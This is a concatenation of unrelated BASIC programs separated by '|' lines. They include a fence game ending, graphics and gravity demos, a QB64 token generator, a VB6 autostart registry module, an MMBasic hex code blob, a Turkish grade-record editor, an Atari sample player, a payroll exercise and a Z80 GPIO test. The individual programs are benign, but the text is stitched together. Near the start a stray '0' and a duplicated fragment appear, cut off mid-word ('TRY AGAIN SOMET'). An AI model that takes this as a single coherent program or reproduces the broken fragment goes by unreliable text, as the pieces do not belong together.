1060 PRINT "ZAP!!! YOU TOUCHED THE FENCE !!!!!"
1070 GOTO 1110
1080 PRINT "** YOU HAVE BEEN DESTROYED BY A LUCKY COMPUTER **"
1090 GOTO 1110
1100 PRINT "YOU ARE LUCKY **YOU DESTROYED ALL THE ENEMY**"
1110 PRINT "WANT TO PLAY AGAIN";
1120 INPUT C$
1130 IF LEFT$(C$,1)="Y" THEN 240
1140 IF LEFT$(C$,1)<>"N" THEN 1110
1150 PRINT "HOPE YOU DON'T FEEL FENCED IN."
1160 PRINT "TRY AGAIN SOMETIME"
1170 END
0
1140 IF LEFT$(C$,1)<>"N" THEN 1110
1150 PRINT "HOPE YOU DON'T FEEL FENCED IN."
1160 PRINT "TRY AGAIN SOMET |
100 ' CSRLIN sample {DELAY2:10}
110 WIDTH 80,25:CLS
120 F=1:X=39:Y=2
130 GOSUB 150
140 GOTO 130
150 LOCATE X,Y:PRINT " ";
160 IF CSRLIN>=22 OR CSRLIN<=1 THEN F=F*-1
170 Y=Y+F:LOCATE X,Y:PRINT "ì";
180 RETURN
|
10 COLOR15,1,1:SCREEN2,2,0
20 _TURBO ON
30 X=150:Y=126:T=.6:PX=110:PY=37:VX=.41:VY=-.1
40 B$=CHR$(&H18):B1$=CHR$(&H3C):S$=B$+B1$+B1$+B$:SPRITE$(1)=S$:PUTSPRITE1,(X,Y),7
50 I=I+1:IF PY<Y THEN YA=Y-PY ELSE YA=PY-Y
60 IF PX<X THEN XB=X-PX ELSE XB=PX-X
70 YC=YA*YA:XC=XB*XB
80 'IF PY=Y THEN D1=YA ELSE D1=SQR(YC+XC)
90 IF PX=X THEN D1=XB ELSE D1=SQR(YC+XC)
100 AX=29/(D1*D1)
110 IF PX>XANDPY<Y THEN A1=A1-XB:A2=A2+YA
120 IF PX<XANDPY<Y THEN A1=A1+XB:A2=A2+YA
130 IF PX>XANDPY>Y THEN A1=A1-XB:A2=A2-YA
140 IF PX<XANDPY>Y THEN A1=A1+XB:A2=A2-YA
150 N1=A1*A1:N2=A2*A2:A1=A1/SQR(N1+N2):A2=A2/SQR(N1+N2)
160 A1=A1*AX:A2=A2*AX
170 'LINE(PX,PY)-(PX+A1*500,PY+A2*500),4:LINE(PX,PY)-(PX+VX*20,PY+VY*20),13:CLS
180 A$=INKEY$:IF A$="a" THEN 190 ELSE 200
190 C=8:PSET(PX,PY),C:A1=0:A2=0:VX=VX*1.008:VY=VY*1.008:GOTO 220
200 IF A$="d" THEN C=4:PSET(PX,PY),C:VX=VX/1.008:VY=VY/1.008:GOTO 220
210 VX=VX/1.0001:VY=VY/1.0001:C=11:IFI=6000THENI=0:CLS
220 PX=PX+VX*T:PY=PY+VY*T:VX=VX+A1*T:VY=VY+A2*T:PSET(PX,PY),C:A1=0:A2=0:IF INKEY$="q" THEN END ELSE 50
|
'Copyright Luke Ceddia
'SPDX-License-Identifier: Apache-2.0
'tokgen.bas - Token Generator & Registerer
'Create TOK_ definitions and register them in the lookup table
'
'Nearly every element of the program can be expressed as a token, which is identified with the TOK_
'constant ID. The symtab also stores all tokens by name and can tell you their ID.
'Once you have the ID you can access the extra data defined for that token in symtab(). See
'symtab.bi for an explanation of that data.
'
'Note that because the ID's are assigned by the symtab functions in the order items are registered,
'any manual edits to the registration code will likely cause it to be out of sync with the TOK_ definitions.
'Re-run this generation program instead.
'
'The first element on the line is the type, which determines the format for the rest of the line.
'
'generic NAME ; FLAGS
'Adds a symtab entry with no extra information.
'
'type NAME SIZE ; FLAGS
'Generate the name as TYPE_ instead of TOK_ and SYM_TYPE instead of SYM_GENERIC. The fixed
'size of the type is set to SIZE bits.
'This always emits a SYM_TYPE_INTERNAL type.
'
'arraytype NAME ELEMENTTYPE DIMENSIONS ; FLAGS
'Generate a SYM_TYPE with SYM_TYPE_ARRAY. Use DIMENSIONS = 0 to mean an unspecified number.
'
'meta NAME ; FLAGS
'Like generic, but generate the name as META_ instead of TOK_ and SYM_META instead of SYM_GENERIC.
'No need to add a leading $, this is added implicitly.
'literal NAME ; FLAGS
'Represent a literal. Does not generate a symtab entry.
'
'prefix NAME PRECEDENCE RETURN ARGS LINKNAME ; FLAGS
'A prefix operator.
'infix NAME PRECEDENCE ASSOCIATIVITY RETURN ARGS LINKNAME ; FLAGS
'An infix operator.
'
'function NAME RETURN ARGS LINKNAME ; FLAGS
'A function (or sub) with regular call syntax.
'NAME is the identifier for the token, and will be prefixed with TOK_. If the token contains special characters
'a safe name may be given in parentheses, e.g "+(plus)". If the token is a special character (see below), it
'should be represented as \xx where xx is the ASCII code. There must be no spaces anywhere in this field.
'
'LINKNAME is an optional field. If given, calls to this function or operator will use LB$$LINKNAME (uppercased and
'with an LB$$ prefix), and the linker will expect it to exist. The EXTLINK flag will instead cause the linkname to be
'used as is. If left blank, the name will be mangled with type information. A blank may also indicate the operation
'is encoded directly at the codegen stage.
'
'PRECEDENCE is an integer for parsing precedence. Larger values are higher precedence.
'ASSOCIATIVTY is "left" or "right".
'
'RETURN is "none" or a type name to represent the return type of the function call.
'
'ARGS is a comma-separated string specifying the type and nature of arguments passed to a function.
'Each comma-separated element is a type name, with the following optional prefixes and suffixes:
' @ prefix: The argument must be passed BYREF and its type must match exactly
' ^ prefix: The argument is passed BYVAL
' % prefix: The argument is a file handle and may appear with a leading #
' ? suffix: The argument is optional
' " prefix: The argument is a token name, and will be represented with an AST_FLAGS
' (or AST_NONE if optional and not present)
' ' prefix: The argument is a token name but will not be added to the AST
' $ prefix: The argument is an unquoted literal that matches the label given. The
' label may be split into multiple alternatives with a | separator.
'
'Alternatively, any of ARGS may be a " or ' character followed by a token defined elsewhere in the file.
'This causes that token to be expected at that position. It also suppresses parsing the implicit
'following comma that would otherwise be expected in the argument list.
'If the character is ", this argument will be supplied as an AST_FLAGS argument in the call list. The value
'of the flag is the constant FLAG_[function name]_[token name] which must be defined in the cmdflags.bi file.
'A ' character supresses the generation of the AST_FLAGS and does not need a FLAG_* constant to be defined. Neither " not ' args may be marked optional.
'If there are no ARGS, the field may be left blank, or specified as "none" if a LINKNAME
'is to be given.
'
'FLAGS is an optional list of modifiers. If present it must begin with a semi-colon. Valid flags:
' DIRECT: Assume that there is a TS_ of the same name as this token that maps to it.
' INTERNAL: Prefix the token with a pipe "|" character in the symtab, preventing it from clashing with other tokens.
' EXTLINK: Use the LINKNAME *exactly* as is, with no prefixing or case changing.
'Blank lines are ignored. Comments may be given with # on their own line. Special characters are (); and must
'not appear outside of their described syntactic function.
$console:only
_dest _console
on error goto ehandler
deflng a-z
const FALSE = 0, TRUE = not FALSE
chdir _startdir$
if _commandcount <> 3 then
print "Usage: "; command$(0); " "; "<input file> <const file> <registration file>"
system 1
end if
if not _fileexists(command$(1)) then
print command$(0); ": Cannot open "; command$(1)
system 1
end if
open command$(1) for input as #1
open command$(2) for output as #2
open command$(3) for output as #3
redim shared parts$(0)
redim shared previous$(0)
redim shared args$(0)
dim shared linenum
linkname_prefix$ = "LB$$"
print #3, "dim sym as symtab_entry_t"
do while not eof(1)
linenum = linenum + 1
line input #1, l$
l$ = ucase$(ltrim$(rtrim$(l$)))
if left$(l$, 1) = "#" or l$ = "" then _continue
split l$
if ubound(parts$) > ubound(previous$) then redim _preserve previous$(ubound(parts$))
altname_start = instr(parts$(1), "(")
if altname_start then
tokname$ = mid$(parts$(1), altname_start + 1, len(parts$(1)) - altname_start - 1)
toksym$ = left$(parts$(1), altname_start - 1)
else
tokname$ = parts$(1)
toksym$ = tokname$
end if
if parts$(0) = "META" then toksym$ = "$" + toksym$
if instr(parts$(-1), "INTERNAL") then
toksym$ = "|" + toksym$
end if
if instr(parts$(-1), "EXTLINK") then
extlink = TRUE
else
extlink = FALSE
end if
select case parts$(0)
case "GENERIC"
assertsize 2
toknum = toknum + 1
cur_toknum = toknum
print #2, "CONST TOK_" + tokname$ + " =" + str$(toknum)
if previous$(0) <> "GENERIC" then print #3, "sym.typ = SYM_GENERIC"
print #3, "sym.identifier = "; quote$(toksym$)
print #3, "symtab_add_entry sym"
case "TYPE"
assertsize 3
toknum = toknum + 1
cur_toknum = toknum
print #2, "CONST TYPE_" + tokname$ + " =" + str$(toknum)
if previous$(0) <> "TYPE" and previous$(0) <> "ARRAYTYPE" then print #3, "sym.typ = SYM_TYPE"
if previous$(2) <> parts$(2) then print #3, "sym.v1 = "; parts$(2)
print #3, "sym.v2 = SYM_TYPE_INTERNAL"
print #3, "sym.identifier = "; quote$(toksym$)
print #3, "symtab_add_entry sym"
case "ARRAYTYPE"
assertsize 4
toknum = toknum + 1
cur_toknum = toknum
print #2, "CONST TYPE_" + tokname$ + " =" + str$(toknum)
if previous$(0) <> "TYPE" and previous$(0) <> "ARRAYTYPE" then print #3, "sym.typ = SYM_TYPE"
print #3, "sym.v1 = type_fixed_size(TYPE_"; ucase$(parts$(2)); ") * "; parts$(3)
if previous$(0) <> "ARRAYTYPE" then print #3, "sym.v2 = SYM_TYPE_ARRAY"
if previous$(2) <> parts$(2) then print #3, "sym.v3 = TYPE_"; ucase$(parts$(2))
if previous$(3) <> parts$(3) then print #3, "sym.v4 = "; parts$(3)
print #3, "sym.identifier = "; quote$(toksym$)
print #3, "symtab_add_entry sym"
case "META"
assertsize 2
toknum = toknum + 1
cur_toknum = toknum
print #2, "CONST META_" + tokname$ + " =" + str$(toknum)
if previous$(0) <> "META" then print #3, "sym.typ = SYM_META"
print #3, "sym.identifier = "; quote$(toksym$)
print #3, "symtab_add_entry sym"
case "FUNCTION"
assertsize_range 3, 5
if previous$(1) <> parts$(1) then
toknum = toknum + 1
print #2, "CONST TOK_" + tokname$ + " =" + str$(toknum)
end if
cur_toknum = toknum
if previous$(0) <> "FUNCTION" then
print #3, "sym.typ = SYM_FUNCTION"
print #3, "sym.v2 = SYM_FUNCTION_INTRINSIC"
end if
process_return_type previous$(1), parts$(1), parts$(2)
if ubound(parts$) = 2 then
print #3, "type_signatures(sym.v1).link_name = " + chr$(34) + chr$(34)
elseif ubound(parts$) = 3 then
process_arg_list parts$(3)
print #3, "type_signatures(sym.v1).link_name = " + chr$(34) + chr$(34)
elseif parts$(3) = "none" then
print #3, "type_signatures(sym.v1).link_name = " + chr$(34);
if extlink then
print #3, lcase$(parts$(4));
else
print #3, linkname_prefix$ + parts$(4);
end if
print #3, chr$(34)
else
process_arg_list parts$(3)
print #3, "type_signatures(sym.v1).link_name = " + chr$(34);
if extlink then
print #3, lcase$(parts$(4));
else
print #3, linkname_prefix$ + parts$(4);
end if
print #3, chr$(34)
end if
if previous$(1) <> parts$(1) then
print #3, "sym.identifier = "; quote$(toksym$)
print #3, "symtab_add_entry sym"
end if
case "PREFIX"
assertsize_range 5, 6
if previous$(1) <> parts$(1) then
toknum = toknum + 1
print #2, "CONST TOK_" + tokname$ + "=" + str$(toknum)
end if
cur_toknum = toknum
if previous$(0) <> "PREFIX" then print #3, "sym.typ = SYM_PREFIX"
if previous$(2) <> parts$(2) then print #3, "sym.v2 = "; parts$(2)
process_return_type previous$(1), parts$(1), parts$(3)
process_arg_list parts$(4)
if ubound(parts$) = 4 then
print #3, "type_signatures(sym.v1).link_name = " + chr$(34) + chr$(34)
else
print #3, "type_signatures(sym.v1).link_name = " + chr$(34);
if extlink then
print #3, lcase$(parts$(5));
else
print #3, linkname_prefix$ + parts$(5);
end if
print #3, chr$(34)
end if
if previous$(1) <> parts$(1) then
print #3, "sym.identifier = "; quote$(toksym$)
print #3, "symtab_add_entry sym"
end if
case "INFIX"
assertsize_range 6, 7
if previous$(1) <> parts$(1) then
toknum = toknum + 1
print #2, "CONST TOK_" + tokname$ + " =" + str$(toknum)
end if
cur_toknum = toknum
if previous$(0) <> "INFIX" then print #3, "sym.typ = SYM_INFIX"
if previous$(2) <> parts$(2) then print #3, "sym.v2 = "; parts$(2)
if previous$(3) <> parts$(3) then
if parts$(3) = "RIGHT" then print #3, "sym.v3 = 1" else print #3, "sym.v3 = 0"
end if
process_return_type previous$(1), parts$(1), parts$(4)
process_arg_list parts$(5)
if ubound(parts$) = 5 then
print #3, "type_signatures(sym.v1).link_name = " + chr$(34) + chr$(34)
else
print #3, "type_signatures(sym.v1).link_name = " + chr$(34);
if extlink then
print #3, lcase$(parts$(6));
else
print #3, linkname_prefix$ + parts$(6);
end if
print #3, chr$(34)
end if
if previous$(1) <> parts$(1) then
print #3, "sym.identifier = "; quote$(toksym$)
print #3, "symtab_add_entry sym"
end if
case "LITERAL"
assertsize 2
literal_toknum = literal_toknum - 1
cur_toknum = literal_toknum
print #2, "CONST TOK_" + tokname$ + " ="; literal_toknum
case else
fatalerror "Unknown token type " + parts$(0)
end select
if instr(parts$(-1), "DIRECT") then print #3, "tok_direct(TS_"; ucase$(tokname$); ") ="; cur_toknum
for i = 0 to ubound(parts$)
previous$(i) = parts$(i)
next i
loop
print #3, "ast_commit"
system
ehandler:
print "Error"; err; _errorline
system 1
sub process_return_type(prev_name$, cur_name$, ret_type$)
if prev_name$ = cur_name$ then
print #3, "sym.v1 = type_add_sig(sym.v1, type_sigt_create$(TYPE_" + ret_type$ + "))"
else
print #3, "sym.v1 = type_add_sig(0, type_sigt_create$(TYPE_" + ret_type$ + "))"
end if
end sub
sub process_arg_list(arglist$)
split_args arglist$
const TYPE_OPTIONAL = 1
const TYPE_BYREF = 2
const TYPE_BYVAL = 4
const TYPE_FILEHANDLE = 8
const TYPE_TOKEN = 16
const TYPE_SYNTAX_ONLY = 32
const TYPE_CONTEXTUAL = 64
if args$(0) = "" then exit sub 'No arguments
for i = 0 to ubound(args$)
flags = 0
if right$(args$(i), 1) = "?" then
args$(i) = left$(args$(i), len(args$(i)) - 1)
flags = flags OR TYPE_OPTIONAL
end if
if left$(args$(i), 1) = "@" then
args$(i) = mid$(args$(i), 2)
flags = flags OR TYPE_BYREF
end if
if left$(args$(i), 1) = "^" then
args$(i) = mid$(args$(i), 2)
flags = flags OR TYPE_BYVAL
end if
if left$(args$(i), 1) = "%" then
args$(i) = mid$(args$(i), 2)
flags = flags OR TYPE_FILEHANDLE
end if
if left$(args$(i), 1) = chr$(34) then
args$(i) = mid$(args$(i), 2)
flags = flags OR TYPE_TOKEN
elseif left$(args$(i), 1) = "'" then
args$(i) = mid$(args$(i), 2)
flags = flags OR TYPE_TOKEN OR TYPE_SYNTAX_ONLY
elseif left$(args$(i), 1) = "$" then
args$(i) = mid$(args$(i), 2)
flags = flags OR TYPE_CONTEXTUAL
end if
if flags AND TYPE_TOKEN then
print #3, "type_sig_add_arg sym.v1, TOK_"; args$(i); ","; flags
elseif flags AND TYPE_CONTEXTUAL then
print #3, "type_sig_add_arg sym.v1,";
print #3, "ast_add_constant(TOK_CONTEXTUAL_ARGUMENT,";
print #3, chr$(34); args$(i); chr$(34); ",0),"; flags
else
print #3, "type_sig_add_arg sym.v1, TYPE_"; args$(i); ","; flags
end if
next i
end sub
sub split(in$)
redim parts$(-1 to 0)
if instr(in$, ";") then
parts$(-1) = mid$(in$, instr(in$, ";") + 1)
in$ = rtrim$(left$(in$, instr(in$, ";") - 1))
end if
start = 1
do
sp = instr(start, in$, " ")
if sp = start then
start = start + 1
_continue
end if
if sp then
parts$(ubound(parts$)) = mid$(in$, start, sp - start)
start = sp + 1
redim _preserve parts$(-1 to ubound(parts$) + 1)
else
parts$(ubound(parts$)) = mid$(in$, start)
exit sub
end if
loop
end sub
sub split_args(in$)
redim args$(-1 to 0)
start = 1
do
sp = instr(start, in$, ",")
if sp = start then
start = start + 1
_continue
end if
if sp then
args$(ubound(args$)) = mid$(in$, start, sp - start)
start = sp + 1
redim _preserve args$(-1 to ubound(args$) + 1)
else
args$(ubound(args$)) = mid$(in$, start)
exit sub
end if
loop
end sub
function quote$(a$)
quote$ = chr$(34) + a$ + chr$(34)
end function
sub assertsize_range(min_expected, max_expected)
if ubound(parts$) < min_expected - 1 or ubound(parts$) > max_expected + 1 then
fatalerror "Expected between " + str$(min_expected) + " and " + str$(max_expected) + " components, got" + str$(ubound(parts$) + 1)
end if
end sub
sub assertsize(expected)
if ubound(parts$) <> expected - 1 then
fatalerror "Expected" + str$(expected) + " components, got" + str$(ubound(parts$) + 1)
end if
end sub
sub fatalerror(msg$)
print command$(0); ": "; command$(1); ":"; ltrim$(str$(linenum)); ": "; msg$
system 1
end sub
|
Attribute VB_Name = "Registry"
Option Explicit
' The exe file must exist for this to work properly.
Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Const READ_CONTROL = &H20000
Private Const KEY_SET_VALUE = &H2
Private Const KEY_CREATE_SUB_KEY = &H4
Private Const STANDARD_RIGHTS_WRITE = (READ_CONTROL)
Private Const SYNCHRONIZE = &H100000
Private Const KEY_WRITE = ((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
Private Const STANDARD_RIGHTS_READ = (READ_CONTROL)
Private Const KEY_ENUMERATE_SUB_KEYS = &H8
Private Const KEY_NOTIFY = &H10
Private Const KEY_QUERY_VALUE = &H1
Private Const KEY_READ = ((STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) And (Not SYNCHRONIZE))
Private Const ERROR_SUCCESS = 0&
Private Const HKEY_CURRENT_USER = &H80000001
Private Const REG_SZ = 1
Private m_IgnoreEvents As Boolean
' Determine whether the program will run at startup.
' To run at startup, there should be a key in:
' HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
' named after the program's executable with value
' giving its path.
Sub SetRunAtStartup(ByVal app_name As String, ByVal app_path As String, Optional ByVal run_at_startup As Boolean = True)
Dim hKey As Long
Dim key_value As String
Dim status As Long
On Error GoTo SetStartupError
' Open the key, creating it if it doesn't exist.
If RegCreateKeyEx(HKEY_CURRENT_USER, _
"Software\Microsoft\Windows\CurrentVersion\Run", _
ByVal 0&, ByVal 0&, ByVal 0&, _
KEY_WRITE, ByVal 0&, hKey, _
ByVal 0&) <> ERROR_SUCCESS _
Then
MsgBox "Error " & Err.Number & " opening key" & _
vbCrLf & Err.Description
Exit Sub
End If
' See if we should run at startup.
If run_at_startup Then
' Create the key.
key_value = Chr(34) & app_path & "\" & app_name & ".exe" & Chr(34) & " startup" & vbNullChar
status = RegSetValueEx(hKey, App.EXEName, 0, REG_SZ, _
ByVal key_value, Len(key_value))
If status <> ERROR_SUCCESS Then
MsgBox "Error " & Err.Number & " setting key" & _
vbCrLf & Err.Description
End If
Else
' Delete the value.
RegDeleteValue hKey, app_name
End If
' Close the key.
RegCloseKey hKey
Exit Sub
SetStartupError:
MsgBox Err.Number & " " & Err.Description
Exit Sub
End Sub
' Return True if the program is set to run at startup.
Function WillRunAtStartup(ByVal app_name As String) As Boolean
Dim hKey As Long
Dim value_type As Long
' See if the key exists.
If RegOpenKeyEx(HKEY_CURRENT_USER, _
"Software\Microsoft\Windows\CurrentVersion\Run", _
0, KEY_READ, hKey) = ERROR_SUCCESS _
Then
' Look for the subkey named after the application.
WillRunAtStartup = _
(RegQueryValueEx(hKey, app_name, _
ByVal 0&, value_type, ByVal 0&, ByVal 0&) = _
ERROR_SUCCESS)
' Close the registry key handle.
RegCloseKey hKey
Else
' Can't find the key.
WillRunAtStartup = False
End If
End Function
'' Clear or set the key that makes the program run at startup.
'Private Sub chkRun_Click()
' If m_IgnoreEvents Then Exit Sub
'
' SetRunAtStartup App.EXEName, App.Path, _
' (chkRun.Value = vbChecked)
'End Sub
'Private Sub Form_Load()
' ' See if the program is set to run at startup.
' m_IgnoreEvents = True
' If WillRunAtStartup(App.EXEName) Then
' chkRun.Value = vbChecked
' Else
' chkRun.Value = vbUnchecked
' End If
' m_IgnoreEvents = False
'End Sub
|
'File boxIntersectBox.bas 0+DATE$++Time$
CSUB boxIntersectBox
00000000
F8D04B4C E92DC000 F8D34FF0 B08D8000 F8D8680B 9202E000 0ACCEB0E 09C3EB0E
B004F8DA A004F8D9 422BEA4F 903CF85E 442AEA4F E033F85E EA4F9200 EA4F72EB
920175EA 402EEA4F 2004F8D8 71EEEA4F 4629EA4F E008F8D8 EA4F9203 00DB0CCC
77E9EA4F AB00E9DD EB7B45A2 DA400205 44629A03 AB00E9DD 8900E9D2 0208EB1A
EB4B9208 92090209 8908E9DD EB7945A0 BFAC0205 24002401 EB774286 DA140201
E9DC44F4 18F33500 EB47930A 930B0305 230AE9DD 418B4282 2400DA14 9B022500
4500E9C3 E8BDB00D 44738FF0 5300E9D3 EB411942 92060303 E9DD9307 42B22306
DB1F41BB 9B0217E5 4500E9C3 E8BDB00D 9A038FF0 0A03EB02 8A00E9DA 0208EB14
EB459204 9205020A 8904E9DD AB00E9DD EB7945D0 DA0A020B BF0845AB D0A745A2
E7B92400 BF08428F D1C64286 2401E7B8 BF00E7B2 0800031C
End CSUB
|
SIRANO:
RUZ%=LOF(1)/36+1 : RECNO%=RUZ%
KKK:
SIRANO$=MID$(STR$(RECNO%),2)
SIRANO$=FNINPUT$(6,34,4,SIRANO$,1)
IF VAL(SIRANO$)>RUZ% THEN GOTO SIRANO
SIRANO$=FNSIFIR$(SIRANO$,4)
LOCATE 6,34 : PRINT SIRANO$
IF TUS=27 THEN GOTO CIK
IF TUS=73 THEN GOSUB PGUP : GOTO KKK
IF TUS=81 THEN GOSUB PGDN : GOTO KKK
GOSUB KAYIT.KONTROL
IF VAR=1 THEN KOM$="234"+CHR$(27) : GOTO JOBS ELSE KOM$="1234"+CHR$(27)
OKULNO:
OKULNO$=FNINPUT$(7,34,10,OKULNO$,1)
IF TUS=72 AND DUZELT=0 THEN GOTO SIRANO
UNVAN:
UNVAN$=FNINPUT$(8,34,20,UNVAN$,0)
IF TUS=72 THEN GOTO OKULNO
VIZE:
VIZE1$=FNINPUT$(9,34,3,VIZE1$,1)
IF TUS=72 THEN GOTO UNVAN
FINAL:
FINAL1$=FNINPUT$(10,34,3,FINAL1$,1)
IF TUS=72 THEN GOTO VIZE
IF DUZELT=1 THEN RETURN
JOBS:
KB$=FNMESAJ$("1-KAYIT 2-DUZELT 3-SiL 4-VAZGE ESC = IKIS",KOM$)
SELECT CASE KB$
CASE "1" : GOSUB KAYIT
CASE "2" : GOSUB DUZELT
CASE "3" : GOSUB SIL
CASE "4" : GOTO SCREEN.DIZAYN
CASE CHR$(27) : GOTO CIK
END SELECT
GOTO SCREEN.DIZAYN
KAYIT:
LSET NO$=OKULNO$ :LSET ADI$=UNVAN$
LSET VIZE$=VIZE1$ : LSET FiNAL$=FiNAL1$
PUT #1,RECNO%
RETURN
SIL:
KB$=FNMESAJ$("Eminmisiniz. (Evet Hayir)","EHeh")
IF KB$="H" THEN RETURN
LSET NO$="Q" :LSET ADI$=""
LSET VIZE$="": LSET FiNAL$=""
PUT #1,RECNO%
RETURN
DUZELT:
DUZELT=1 : GOSUB OKULNO
KB$=FNMESAJ$("Dzeltmeleri Kayit Edeyimmi? (Evet Hayir)","EHeh")
IF KB$="H" THEN RETURN
GOSUB KAYIT
RETURN
KAYIT.KONTROL:
VAR=0
RECNO%=VAL(SIRANO$)
IF RUZ%=RECNO% THEN VAR=0 : RETURN
GET #1,RECNO%
IF NO$="Q" THEN VAR=0 ELSE VAR=1
GOSUB EKRAN.YAZ
RETURN
EKRAN.YAZ:
OKULNO$=NO$ : UNVAN$=ADI$
VIZE1$=VIZE$: FINAL1$=FINAL$
LOCATE 7,34,0 : PRINT OKULNO$
LOCATE 8,34,0 : PRINT UNVAN$
LOCATE 9,34,0 : PRINT VIZE1$
LOCATE 10,34 : PRINT FINAL1$
RETURN
PGUP:
IF RECNO%<>1 THEN RECNO%=RECNO%-1
GET #1,RECNO%
GOSUB EKRAN.YAZ
RETURN
PGDN:
IF RECNO%<>RUZ% THEN RECNO%=RECNO%+1
GET #1,RECNO%
GOSUB EKRAN.YAZ
RETURN
|
10 REM *** PLAYBACK VI ***
20 REM *** ST BASIC DEMO ***
30 REM *** BY TRISTAN HUNTING ***
40 REM
50 REM ***LOAD CODE***
60 CODE%=300000
70 BLOAD "A:\PLAYBACK\PLAYBACK.C",CODE%
80 REM
90 REM ***SKIP HEADER***
100 CODE%=CODE%+28
110 REM
120 REM ***LOAD SAMPLES***
130 PLBK%=CODE%+1004
140 BLOAD "A:\PLAYBACK\PLAYBACK.SND",PLBK%
150 MGUN%=CODE%+1004+2799
160 BLOAD "A:\PLAYBACK\MGUN.SND",MGUN%
170 REM
180 REM ***ADDRESS OF VARIABLES***
190 SAMPLE_ADDRESS%=CODE%+984
200 SAMPLE_LENGTH%=CODE%+988
210 SAMPLE_RATE%=CODE%+992
220 REM
230 REM ***INTRO***
240 FULLW 2
250 CLEARW 2
260 PRINT "Welcome to..."
270 DL%=30:GOSUB 570
280 RATE%=7
290 REM
300 REM ***PLAY SOUND***
310 GOSUB 670
320 GOSUB 410
330 K$=INPUT$(1)
340 IF K$="1" THEN GOSUB 670
350 IF K$="2" THEN GOSUB 730
360 IF K$="3" THEN GOSUB 620
370 IF K$="0" THEN END
380 GOTO 330
390 REM
400 REM ***SET UP SCREEN***
410 CLEARW 2
420 PRINT "PLAYBACK - VI"
430 PRINT
440 PRINT "RATE - ";RATE%
450 PRINT
460 PRINT "PRESS REPEATEDLY TO STUTTER"
470 PRINT
480 PRINT "PRESS KEY"
490 PRINT
500 PRINT "1 - TO HEAR PLAYBACK"
510 PRINT "2 - TO HEAR MACHINE GUN"
520 PRINT "3 - TO CHANGE RATE"
530 PRINT "0 - TO EXIT"
540 RETURN
550 REM
560 REM ***DELAY IN 50ths OF A SECOND***
570 FOR X=1 TO DL%
580 XBIOS 37
590 NEXT
600 RETURN
610 REM ***CHANGE RATE***
620 RATE%=RATE%+1
630 IF RATE%=17 THEN RATE%=1
640 GOTOXY 0,7:PRINT "RATE - ";RATE%;" "
650 RETURN
660 REM ***PLAY PLAYBACK***
670 POKE_L SAMPLE_ADDRESS%,PLBK%
680 POKE_L SAMPLE_LENGTH%,2799
690 POKE_L SAMPLE_RATE%,RATE%
700 CALL CODE%
710 RETURN
720 REM ***PLAY MACHINE GUN***
730 POKE_L SAMPLE_ADDRESS%,MGUN%
740 POKE_L SAMPLE_LENGTH%,4707
750 POKE_L SAMPLE_RATE%,RATE%
760 CALL CODE%
770 RETURN
|
REM Joshua Hipple - Project 4.1
REM Read data, calculate pay, output to screen
CLS
GOSUB InitializeVariables
GOSUB PrintHeaders
GOSUB ProcessDetail
GOSUB PrintTotals
END
REM ** Initialize Variables **
REM ** Initializes variables and headers **
InitializeVariables:
TotalPieces = 0
TotalPay = 0
T1$ = " PIECEWORK WEEKLY REPORT"
H1$ = " NAME PIECES PAY"
D1$ = "\ \ ### ###.##"
TL$ = " TOTALS #### ####.##"
RETURN
REM ** PrintHeaders **
REM ** Prints headers for output **
PrintHeaders:
PRINT
PRINT T1$
PRINT
PRINT H1$
PRINT
RETURN
REM ** ProcessDetail **
REM ** Processes data by set and prints **
ProcessDetail:
GOSUB ReadData
DO UNTIL UCASE$(Name$) = "END"
GOSUB CalculatePay
GOSUB PrintDetail
GOSUB ReadData
LOOP
RETURN
REM ** ReadData **
REM ** Reads data **
ReadData:
READ Name$, Pieces
DATA JOHNNY BEGOOD, 265
DATA SALLY GREAT, 650
DATA SAM KLUTZ, 177
DATA PETE PRECISE, 400
DATA FANNIE FANTASTIC, 399
DATA MORRIE MELLOW, 200
DATA END, 0
RETURN
REM ** CalculatePay **
REM ** Calculate pay for each person **
CalculatePay:
IF PIECES < 200 THEN
Pay = PIECES * .5
ELSEIF Pieces < 400 THEN
Pay = PIECES * .55
ELSEIF Pieces < 600 THEN
Pay = PIECES * .6
Else
Pay = PIECES * .65
END IF
TotalPieces = TotalPieces + PIECES
TotalPay = TotalPay + Pay
RETURN
REM ** PrintDetail **
REM ** Prints results for each person **
PrintDetail:
PRINT USING D1$; Name$, Pieces, Pay
RETURN
REM ** PrintTotals **
REM ** Prints totals to screen **
PrintTotals:
PRINT
PRINT USING TL$; TotalPieces, TotalPay
Return
|
1 REM ****************************************
2 REM
3 REM Z80-MBC2 GPIO B and Keypad Test Program
4 REM
5 REM ****************************************
20 OUT 0,255 : REM ALL INPUTS
30 OUT 1,8 : REM GPPUB
40 OUT 0,255 : REM ALL PULLUPS ACTIVE
100 OUT 1,130 : REM GPIOB READ
110 CHAR=INP(0)
120 IF CHAR<255 THEN GOTO 145
121 OUT 1,136 : REM READ KEYPAD
122 CHAR=INP(0)
123 IF CHAR<255 THEN GOTO 140
130 GOTO 100
140 PRINT CHR$(CHAR)
142 GOTO 100
145 PRINT CHAR
150 GOTO 100
